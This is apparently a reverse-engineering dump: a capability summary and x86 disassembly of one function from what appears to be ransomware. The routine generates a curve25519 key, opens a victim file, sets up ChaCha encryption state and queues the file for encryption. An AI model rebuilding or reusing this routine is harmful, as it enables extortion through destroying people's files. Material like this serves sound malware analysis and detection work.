Function at 0x406230
Capabilities:
Encrypt data using curve25519
Encrypt data using salsa20 or chacha
Generate random numbers via rtlgenrandom
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
mov ebx, ecx
push edi
mov dword [ebp - 4], ebx
mov ecx, dword [0x422350]
mov eax, dword [0x422354]
test eax, eax
jb 0x406262
ja 0x40625a
cmp ecx, 0x200
jb 0x406262
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4223c4]
test eax, eax
jne 0x40627b
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x4223c4], eax
mov ecx, dword [0x4223c0]
test ecx, ecx
jne 0x406299
push str.SystemFunction036
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov dword [0x4223c0], ecx
push 0x20
lea eax, [ebp - 0x34]
push eax
call ecx
and byte [ebp - 0x34], 0xf8
mov eax, 0x2e
push 0
push 0xe0000000
mov word [ebp - 0x100], ax
xor eax, eax
push 3
mov word [ebp - 0x7e], ax
mov al, byte [ebp - 0x15]
push 0
push 1
and al, 0x3f
push 0xc0000000
or al, 0x40
push ebx
mov byte [ebp - 0x15], al
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x14], esi
cmp esi, 0xffffffff
je 0x4064a6
lea eax, [ebp - 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp dword [ebp - 0xc], 0
jl 0x40649f
jg 0x40630c
cmp dword [ebp - 0x10], 0x200
jb 0x40649f
push ebx
push str.Starting__ws_n
call fcn.004061f0
add esp, 8
push 0x280c0
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x280b8
mov ebx, eax
push 0
push ebx
call fcn.00408570
mov dword [ebx + 0x280bc], esi
add esp, 0xc
mov dword [ebx + 0x280b8], 0xa1
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
test ecx, ecx
jl 0x40636c
jg 0x406363
cmp eax, 0x8000
jb 0x40636c
mov eax, 0x8000
xor edx, edx
jmp 0x406381
push 0
push 0x200
push ecx
push eax
call fcn.00417990
shld edx, eax, 9
shl eax, 9
mov dword [ebx + 0x280b4], edx
lea ecx, [ebp - 0x74]
push 0x41ee28
lea edx, [ebp - 0x34]
mov dword [ebx + 0x280b0], eax
call fcn.004060c0
add esp, 4
lea edi, [ebp - 0xfe]
xor esi, esi
nop dword [eax + eax]
movzx eax, byte [ebp + esi - 0x74]
push eax
push str._02X
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
inc esi
add esp, 0xc
add edi, 4
cmp esi, 0x20
jl 0x4063b0
push 0x4218d4
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x54]
call fcn.004060c0
movups xmm0, xmmword [ebp - 0x54]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
add esp, 4
mov dword [ebx + 0x90], 0
mov dword [ebx + 0x94], 0
movups xmmword [ebx + 0x70], xmm0
mov dword [ebx + 0xa4], 0xa
movups xmm0, xmmword [ebp - 0x44]
mov dword [ebx + 0xa0], 0
push dword [ebp - 4]
movups xmmword [ebx + 0x80], xmm0
mov eax, dword [0x4223a0]
mov ecx, dword [0x4223a4]
mov dword [ebx + 0x98], eax
lea eax, [ebx + 0x100b0]
mov dword [ebx + 0x9c], ecx
push eax
mov dword [ebx + 0x60], 0x61707865
mov dword [ebx + 0x64], 0x3320646e
mov dword [ebx + 0x68], 0x79622d32
mov dword [ebx + 0x6c], 0x6b206574
call esi
push dword [ebp - 4]
lea edi, [ebx + 0xb0]
push edi
call esi
lea eax, [ebp - 0x100]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push ebx
push dword [0x42239c]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
push ebx
push ebx
push 1
push eax
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret